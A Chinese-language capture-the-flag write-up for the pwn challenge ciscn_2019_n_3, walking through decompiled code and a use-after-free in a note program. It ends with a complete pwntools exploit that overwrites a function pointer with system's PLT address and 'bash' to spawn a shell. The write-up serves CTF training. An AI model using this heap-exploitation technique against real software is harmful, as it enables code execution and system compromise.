ciscn_2019_n_3(UAF)

我觉得这个题算是逻辑上的漏洞,配着一个UAF

checksec:
file
没开PIE,开了Partial RELEO
可能是劫持 got

main:
file
有 system 函数

这题有点不一样的是 New 函数里面,在创建一个 chunk 前会先申请一个固定大小的 chunk

int do_new()
{
  int v1; // eax
  signed int v2; // [esp+0h] [ebp-18h]
  int v3; // [esp+4h] [ebp-14h]
  size_t size; // [esp+Ch] [ebp-Ch]

  v2 = ask("Index");
  if ( v2 < 0 || v2 > 16 )
    return puts("Out of index!");
  if ( records[v2] )
    return printf("Index #%d is used!\n", v2);
  records[v2] = (int)malloc(0xCu); #先创建一个 chunk
  v3 = records[v2];
  *(_DWORD *)v3 = rec_int_print;
  *(_DWORD *)(v3 + 4) = rec_int_free; #写入 print 和 free 的地址,show 和 delete 函数就是直接调用这里写的
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  v1 = ask("Type");
  if ( v1 == 1 )
  {
    *(_DWORD *)(v3 + 8) = ask("Value"); #Integer型,直接用上面创建的 chunk,剩下的四字节
  }
  else
  {
    if ( v1 != 2 )
      return puts("Invalid type!");
    size = ask("Length");
    if ( size > 0x400 )
      return puts("Length too long, please buy pro edition to store longer note!");
    *(_DWORD *)(v3 + 8) = malloc(size); #chunk首地址写入到提前申请的 chunk_fd 位
    printf("Value > ");
    fgets(*(char **)(v3 + 8), size, stdin);
    *(_DWORD *)v3 = rec_str_print;
    *(_DWORD *)(v3 + 4) = rec_str_free;
  }
  puts("Okey, got your data. Here is it:");
  return (*(int (__cdecl **)(int))v3)(v3);
}

Integer型,Value=1111,可以看到存在了 0x8c5b1a8
file

Text型,Value=aaaaaaaa,存在了新申请的 chunk 中,并且固定 chunk + 0x10 处存了指向新申请 chunk 的 fd 位。
file

Text 型用 Del 函数是一次 free 掉两个 chunk,我这里是申请了一个0x10
file

Free函数存在一个UAF
file

Delete函数
file
这里的调用是自动创建的 chunk 里 (records[v0] + 4(records[v0]))

思路:
直接从chunk里构造 system 调用 '/bin/sh\x00',这里有一点是位置只有四字节,'/bin/sh' 写不下,可以用 'bash'。

EXP:

from pwn import*

a=process('./ciscn')
#a=remote('node4.buuoj.cn',25162)
context.arch = 'x86'
elf=ELF('./ciscn')
context.log_level = 'debug'

def add(idx,TYPE,size,payload):
    a.recvuntil('CNote > ')
    a.sendline(str(1))
    a.sendline(str(idx))
    a.sendline(str(TYPE))
    if(TYPE == 2):
        a.sendline(str(size))
        a.sendline(str(payload))
    else:
        a.sendline(str(payload))

def Del(idx):
    a.recvuntil('> ')
    a.sendline(str(2))
    a.sendline(str(idx))

def show(idx):
    a.recvuntil('> ')
    a.sendline(str(3))
    a.sendline(str(idx))

add(0,2,0x10,'a'*8)
add(1,2,0x20,'b'*8)
#gdb.attach(a)
Del(0)
Del(1) #add一个新chunk时会先申请一个0xC的chunk,所以得先free 两个,到第二次申请 chunk 时才到 idx0 的位置
#gdb.attach(a)
add(2,2,0xc,'bash'+p32(elf.plt['system']))
#gdb.attach(a)
Del(0)
a.interactive()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据